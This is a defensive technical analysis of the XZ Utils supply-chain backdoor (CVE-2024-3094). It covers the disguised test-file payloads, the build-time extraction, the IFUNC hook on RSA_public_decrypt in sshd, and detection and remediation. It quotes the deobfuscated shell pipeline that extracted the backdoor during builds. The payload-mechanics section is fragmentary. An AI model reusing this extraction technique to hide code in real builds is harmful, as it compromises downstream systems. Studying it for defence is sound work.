XZ Utils Supply Chain Backdoor: Full Technical Root Cause & Deobfuscation Analysis
Executive Summary
In March 2024, developer Andres Freund discovered a sophisticated, multi-stage software supply chain backdoor embedded within upstream releases 5.6.0 and 5.6.1 of the xz package (specifically within liblzma). Assigned CVE-2024-3094 with a maximum CVSS score of 10.0, the backdoor targeted OpenSSH servers on Linux distributions where sshd is linked to libsystemd (which dynamically links liblzma).
The implant was intentionally crafted over multiple years by an attacker operating under the moniker "Jia Tan", systematically building trust with the project's lone maintainer to gain commit and release management rights.
Technical Injection Architecture
The malicious code was not directly checked into the Git repository as source code. Instead, it was introduced exclusively into the source release tarballs via obfuscated M4 macros and disguised binary test files:
- •
tests/files/bad-3-corrupt_lzma2.xz - •
tests/files/good-large_compressed.lzma
Build-Time Extraction Stage
During the ./configure and make phase, the custom m4/build-to-host.m4 macro checked whether the build environment met specific targets:
- •Targeted architecture:
x86_64 - •Targeted operating system: Linux
- •Toolchain: GNU GCC and GNU LD
- •Distribution package build mode (e.g. Debian or RPM build pipelines)
If conditions matched, an obfuscated shell script was extracted from the test archives using sed, tr, and xz decompression:
# Deobfuscated shell pipeline snippet
eval $(sed -e 's/^[ \t]*//;s/[ \t]*$//' "$srcdir/tests/files/bad-3-corrupt_lzma2.xz" | \
tr "\t \-_" " \t_\-" | \
xz -d 2>/dev/null)The script extracted a compiled binary object file (liblzma_la-crc64_fast.o) and substituted it into the compilation process, embedding malicious hooks into liblzma.so.
Hooking Mechanism via GNU IFUNC
The backdoor leveraged the GNU Indirect Function (IFUNC) mechanism, which allows the dynamic linker to resolve function implementations at runtime based on processor architecture features.
During application startup, before main() executes or address space layout randomization (ASLR) can fully isolate the process, liblzma executes an IFUNC resolver for CRC functions. The backdoor leveraged this resolver hook to walk the Global Offset Table (GOT) of the calling process (sshd).
It resolved symbols inside OpenSSH and hooked the OpenSSL RSA decryption function:
// Hooked function pointer target
int (*orig_RSA_public_decrypt)(int flen, const unsigned char *from,
unsigned char *to, RSA *rsa, int padding);Exploit Payload Mechanics & Signature Verification
When an external client attempts an SSH connection:
RSA_public_decrypt intercepts the incoming data buffer.system() with root privileges directly inside the sshd memory space.RSA_public_decrypt, ensuring normal SSH authentication continues without raising suspicion.Detection & Incident Response
Verify Installed Version
strings $(which xz) | grep -i "5.6.[01]"If versions 5.6.0 or 5.6.1 are detected on an exposed server, the system must be considered compromised.
Remediation
- •Downgrade
xz-utils/liblzmaimmediately to version 5.4.6 or install patched versions 5.6.2+. - •Red Hat (Fedora 40/Rawhide), Debian (Sid/Testing), openSUSE (Tumbleweed), and Arch Linux issued emergency rolling downgrades.